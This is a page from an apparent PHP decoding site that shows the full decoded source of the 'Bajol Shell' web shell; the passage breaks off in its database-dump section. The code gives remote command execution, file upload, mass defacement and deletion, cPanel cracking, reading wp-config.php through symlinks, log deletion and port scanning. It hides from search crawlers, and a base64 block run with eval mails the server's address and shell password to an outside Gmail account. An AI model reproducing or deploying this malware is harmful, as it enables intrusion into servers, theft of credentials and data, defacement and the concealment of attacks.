Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //############################################## //## BAJOL SHELL ..
Decoded Output download
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
function login_shell() {
?>
<html>
<head>
<title>BAJOL SHELL V.1</title>
<link href='http://image.ibb.co/cmB3kS/IMG_20180327_WA0028.jpg' rel='icon' type='image/x-icon'/>
<style type="text/css">
html {
margin: 20px auto;
background: #000000;
color: green;
text-align: center;
}
header {
color: lime;
margin: 10px auto;
}
input[type=password] {
width: 250px;
height: 25px;
color: red;
background: #000000;
border: 1px dotted lime;
padding: 5px;
margin-left: 20px;
text-align: center;
}
</style>
</head>
<center>
<header>
<h2>
Bajol Shell V.1
<br>
<br>
<center><img src="http://image.ibb.co/cmB3kS/IMG_20180327_WA0028.jpg" width="350px" height="350px"></img></center>
</header>
<form method="post">
<center><input type="password" name="pass"><center>
</form>
<style>
</style>
</head>
<body>
</body></font>
</head>
<table border="0" cellspacing="1" cellpadding="4" class="tborder"><tr><td class="thead"><strong></strong></td></tr><tr><td class="trow1"></a></td></tr></table><br />
<table border="0" cellspacing="1" cellpadding="4" class="tborder">
<tbody><tr>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
login_shell();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>
<html>
<head>
<title>BAJOL SHELL V.1</title>
<meta name='author' content='Shell From Surabaya Cyber Attacker'>
<meta charset="UTF-8">
<link href='http://image.ibb.co/cmB3kS/IMG_20180327_WA0028.jpg' rel='icon' type='image/x-icon'/>
<style type='text/css'>
@import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
html {
background: #000000;
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 12px;
width: 100%;
}
li {
display: inline;
margin: 1px;
padding: 1px;
}
#menu{
background:none;
margin:9px 3px 4px 2px;
}
#menu a{
padding:4px 19px;
margin:0;
background:#001700;
border-bottom:1px solid lime;
border-top:1px solid lime;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#003500;
border-bottom:1px solid lime;
border-top:1px solid lime;
text-shadow:0px 0px 10px yellow;
}
.explore tr:hover{background:#181818}
table tr:first-child{
background: #001700;
text-align: center;
color: white;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
background: transparent;
font-family: 'Share Tech Mono';
font-size: 13px;
}
.table_home, .th_home, .td_home {
border: 1px solid green;
}
th {
padding: 10px;
}
tr:hover{
background-color: #001700;
}
a {
color: #ffffff;
text-decoration: none;
}
a:hover {
color: white;
text-decoration: underline;
}
b {
color: lime;
}
input[type=text], input[type=password],input[type=submit] {
background: transparent;
color: #ffffff;
border: 1px solid lime;
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 13px;
}
input[type=submit] {
background: #003500;
color: #ffffff;
border: 1px solid lime;
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 13px;
cursor:pointer;
}
textarea {
border: 1px solid lime;
width: 100%;
height: 400px;
padding-left: 5px;
margin: 10px auto;
resize: none;
background: transparent;
color: #ffffff;
font-family: 'Share Tech Mono';
font-size: 13px;
}
select {
width: 152px;
background: #000000;
color: white;
border: 1px solid lime;
margin: 5px auto;
padding-left: 5px;
font-family: 'Share Tech Mono';
font-size: 13px;
}
option:hover {
background: #003300;
color: #000000;
}
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
.cgx2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
.infoweb {
border-right: 1px solid #00FFFF;
}
</style>
</head>
<?php
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function r($dir,$perm) {
if(!is_readable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function getsource($url) {
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
function bing($dork) {
$npage = 1;
$npages = 30000;
$allLinks = array();
$lll = array();
while($npage <= $npages) {
$x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
if($x) {
preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
$npage = $npage + 10;
if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
} else break;
}
$URLs = array();
foreach($allLinks as $url){
$exp = explode("/", $url);
$URLs[] = $exp[2];
}
$array = array_filter($URLs);
$array = array_unique($array);
$sss = count(array_unique($array));
foreach($array as $domain) {
echo $domain."
";
}
}
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
if(get_magic_quotes_gpc()) {
function idx_ss($array) {
return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
}
$_POST = idx_ss($_POST);
$_COOKIE = idx_ss($_COOKIE);
}
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($dir);
} else {
$dir = getcwd();
}
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkJhcnUgZGkgZ3VuYWthbiBkaSBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gImRpcmVjdG9yeTogJHRhcmdldCBieTogJHZpc2l0b3IgcGFzc3dvcmQ6ICRhdXRoX3Bhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJtci5kaXI2NEBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSwkYXV0aF9wYXNzKTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjKTs=";
eval(base64_decode($injbuff));
$admin_id=$_SERVER['SERVER_ADMIN'];
$serverport = $_SERVER["SERVER_PORT"];
$software = getenv("SERVER_SOFTWARE");
$kernel = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$dir = str_replace("\","/",$dir);
$scdir = explode("/", $dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=red>OFF</font>";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
echo "<center><font size='6px' color='white'>BAJOL SHELL V.1</font></center>";
echo "<p>";
echo "System: <font color=lime>".php_uname()."</font><br>";
echo "Server IP: <font color=lime>".$ip."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font> | Server Port: <font color=lime>".$serverport."</font> | Admin: <font color=lime>".$admin_id."</font><br>";
echo "Storage Space: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
echo "Disable Functions: $show_ds<br>";
echo "Safe Mode: $sm<br>";
echo "Software: <font color=lime>".getenv("SERVER_SOFTWARE")."</font><br>";
echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
echo "Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href='?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
echo " [ ".w($dir, perms($dir))." ]";
echo "<hr color='lime'>";
echo "<p>";
echo "<center>";
if($_POST['upload']) {
if($_POST['tipe_upload'] == 'biasa') {
if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
$act = "<font color=white>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
} else {
$act = "<font color=red>failed to upload file</font>";
}
} else {
$root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
$web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
$act = "<font color=white>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
} else {
$act = "<font color=red>failed to upload file</font>";
}
} else {
$act = "<font color=red>failed to upload file</font>";
}
}
}
echo "Upload File:
<form method='post' enctype='multipart/form-data'>
<input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
<input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
<input type='file' name='ix_file'>
<input type='submit' value='upload' name='upload'>
</form>";
echo $act;
echo "</center>";
echo '<center><div id="menu">';
echo "<p>";
echo "<hr color='lime'>";
echo "<p>";
echo "<li> <a href='?'>Home</a> </li>";
echo "<li> <a style='color: yellow;' href='?dir=$dir&do=about'>About</a> </li>";
echo "<li> <a style='color: orange;' href='?logout=true'>Logout</a> </li>";
echo "<li> <a style='color: red;' href='?dir=$dir&do=kill'>Kill</a> </li>";
echo "<li><br><br><br><a href='?dir=$dir&do=cmd'>Command</a> </li>";
echo "<li> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> </li>";
echo "<li> <a href='?dir=$dir&do=mass_delete'>Mass Delete</a> </li>";
echo "<li> <a href='?dir=$dir&do=config'>Config</a> </li>";
echo "<li> <a href='?dir=$dir&do=jumping'>Jumping</a> </li>";
echo "<li> <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> </li>";
echo "<li> <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> </li>";
echo "<li><a href='?dir=$dir&do=reverseip'>ReverseIP</a></li>";
echo "<li> <a href='?dir=$dir&do=shellscanner'>Shell Scanner</a> </li>";
echo "<br><br><li><a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_wp'>Auto Edit Title</a> </li>";
echo "<li> <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> </li>";
echo "<li> <a href='?dir=$dir&do=fake_root'>Fake Root</a> </li>";
echo "<li> <a href='?dir=$dir&do=cpftp_auto'>CFTP Auto Deface</a> </li>";
echo "<li> <a href='?dir=$dir&do=krdp_shell'>K-RDP Shell</a> </li>";
echo "<li> <a href='?dir=$dir&do=whois'>Whois</a> </li>";
echo "<br><br><li> <a href='?dir=$dir&do=adminer'>Adminer</a> </li>";
echo "<li> <a href='?dir=$dir&do=symlink'>Symlink</a> </li>";
echo "<li> <a href='?dir=$dir&symlink=404'>Symlink 404</a> </li>";
echo "<li> <a href='?dir=$dir&do=bypass'>Disable Functions</a> </li>";
echo "<li> <a href='?dir=$dir&do=network'>Network</a> </li>";
echo "<li> <a href='?dir=$dir&do=cgi'>CGI Telnet</a> </li>";
echo "<li> <a href='?dir=$dir&do=zip'>Zip Menu</a> </li>";
echo "<li> <a href='?dir=$dir&delete=logs'>Delete Logs</a> </li>";
echo "<br><br><li> <a href='?dir=$dir&do=dbdump'>DB Dump</a> </li>";
echo "<li> <a href='?dir=$dir&do=ports'>Port Scanner</a> </li>";
echo "<li> <a href='?dir=$dir&do=csrfup'>CSRF</a> </li>";
echo "<li> <a href='?dir=$dir&do=domain'>Domains Viewer</a></li>";
echo "<li> <a href='?dir=$dir&do=hash'>Hash Generate</a> </li>";
echo "<li> <a href='?dir=$dir&do=hashid'>HashID</a> </li>";
echo "<li> <a href='?dir=$dir&do=defacerid'>DefacerID</a> </li>";
echo "<li> <a href='?dir=$dir&do=zoneh'>Zone-H</a> </li>";
echo "<p>";
echo "<hr color='lime'>";
echo "<p>";
echo "</ul>";
echo "</div>";
if($_GET['logout'] == true) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo "<script>window.location='?';</script>";
}
/////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'kill') {
if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
die("<script>alert(' shell removed, Jancok!!!'); window.location = 'remove'</script>");
else
echo '<center>unlink failed!</center>';
}
///////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'cmd') {
echo "<form method='post'>
<font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
</form>";
if($_POST['do_cmd']) {
echo "<pre>".exe($_POST['cmd'])."</pre>";
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'domain'){
echo "<center><div><p align='center'>Domains and Users</p>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center><font color=red>Error : can't read [ /etc/named.conf ]</font></center>");}echo '<table><tr bgcolor=#333><td>Domains</td><td>users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</div></center>';
}
///////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'ports') {
echo '<table><tr><th><center><u>Port Scanner</u></tr></th></center><td>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
} else {
echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <br><input type="text" name="host" value="localhost"/><br /><br />
Port start: <br><input type="text" name="start" value="0"/><br /><br />
Port end: <br><input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />';
echo '</div></table></td>';
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'csrfup')
{
echo '<html>
<center><h1 style="font-size:33px;">CSRF</h1><br><br>
<font size="3">*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc</font>
<br><br>
<form method="post" style="font-size:25px;">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/path/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="d" value="Lock!">
</form>';
$url = $_POST["url"];
$pf = $_POST["pf"];
$d = $_POST["d"];
if($d) {
echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Upload'></form></form>
</html>";
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'whois') {
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo ' $ip : $o_port ??? <u style="color: lime">Open</u> <br /><br />';
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table>
<tr><th colspan="5" style="border: 2px lime dotted;">Whois Site</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:Lavender;" class="inputz" value="site.com" /> ? <input class="inputzbut" type="submit" style="color:Lavender;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class='sc2'>Scanning [ $site ip $ip_port ] ... </div>
<div class='tit'> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class='ru'> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo '<div class="tit"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class="ru">
<pre>".sws_domain_info($site)."</pre></div>';
flush();
echo '
<div class="tit"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class="ru">
<pre>".sws_net_info($site)."</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class="ru">
<pre>".sws_sup_dom($site)."</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class="ru">
<pre>".sws_site_ser($site)."</pre> </div>
<div class="tit"> <br /><br />|-------------- END ------------------| <br /></div>';
flush();
}
echo '</center>';
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif ($_GET['symlink'] == '404'){
@error_reporting(0);
@ini_set('display_errors', 0);
echo '<center><b><font color=lime>Symlink 404</font></a></b><br>
<form method="post"><br>File Target : <br><input name="dir" value="/home/user/public_html/wp-config.php">
<br>
<br>Save As: <br><input name="jnck" value="ojayakan.txt"><br><br><input name="ojaykan" type="submit" value="Hajar Bro"></form><br>';
if($_POST['ojaykan']){
rmdir("bajol_symlink404");mkdir("bajol_symlink404", 0777);
$dir = $_POST['dir'];
$jnck = $_POST['jnck'];
system("ln -s ".$dir." bajol_symlink404/".$jnck);
symlink($dir,"bajol_symlink404/".$jnck);
$inija = fopen("bajol_symlink404/.htaccess", "w");
fwrite($inija,"ReadmeName ".$jnck."
Options Indexes FollowSymLinks
DirectoryIndex ngeue.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
");
echo'<a href="bajol_symlink404/" target="_blank">Klik Gan >:(</a>';
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'hash') {
$submit = $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4", $pass);
$hash_md5 = md5($salt . $pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256", $text);
$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b> ';
echo '<center><h2><b><font color="white">-=[ Password Hash]=-</font></b></h2></center></tr>';
echo ' <b>masukan kata yang ingin di encrypt:</b> ';
echo ' <br><input class="inputz" type="text" name="password" size="50" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo ' <br><br>';
echo ' <font color="white">Hasil Hash</font></th></center></tr>';
echo ' <center>Original Password <br><input class=inputz type=text size=50 value=' . $pass . '> <br><br>';
echo ' MD5 <br><input class=inputz type=text size=50 value=' . $hash . '> <br><br>';
echo ' MD4 <br><input class=inputz type=text size=50 value=' . $md4 . '> <br><br>';
echo ' MD5 with Salt <br><input class=inputz type=text size=50 value=' . $hash_md5 . '> <br><br>';
echo ' MD5 with Salt & Sha1 <br><input class=inputz type=text size=50 value=' . $hash_md5_double . '> <br><br>';
echo ' Sha1 <br><input class=inputz type=text size=50 value=' . $hash1 . '> <br><br>';
echo ' Sha256 <br><input class=inputz type=text size=50 value=' . $sha256 . '> <br><br>';
echo ' Sha1 with Salt <br><input class=inputz type=text size=50 value=' . $hash1_sha1 . '> <br><br>';
echo ' Sha1 with Salt & MD5 <br><input class=inputz type=text size=50 value=' . $hash1_sha1_double . '> </center><br><br>';
}
///////////////////////////////////////
elseif($_GET['do'] == 'hashid') {
if (isset($_POST['gethash'])) {
$hash = $_POST['hash'];
if (strlen($hash) == 32) {
$hashresult = "MD5 Hash";
} elseif (strlen($hash) == 40) {
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
} elseif (strlen($hash) == 13) {
$hashresult = "DES(Unix) Hash";
} elseif (strlen($hash) == 16) {
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
} elseif (strlen($hash) == 41) {
$GetHashChar = substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "MySQL5 Hash";
}
} elseif (strlen($hash) == 64) {
$hashresult = "SHA-256 Hash";
} elseif (strlen($hash) == 96) {
$hashresult = "SHA-384 Hash";
} elseif (strlen($hash) == 128) {
$hashresult = "SHA-512 Hash";
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$1$')) {
$hashresult = "MD5(Unix) Hash";
}
} elseif (strlen($hash) == 37) {
if (strstr($hash, '$apr1$')) {
$hashresult = "MD5(APR) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$H$')) {
$hashresult = "MD5(phpBB3) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$P$')) {
$hashresult = "MD5(Wordpress) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$5$')) {
$hashresult = "SHA-256(Unix) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$6$')) {
$hashresult = "SHA-512(Unix) Hash";
}
} elseif (strlen($hash) == 24) {
if (strstr($hash, '==')) {
$hashresult = "MD5(Base-64) Hash";
}
} else {
$hashresult = "Hash type not found";
}
} else {
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table >
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'dbdump')
{
echo $head.'<p align="center">';
echo '
<form action method=post>
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
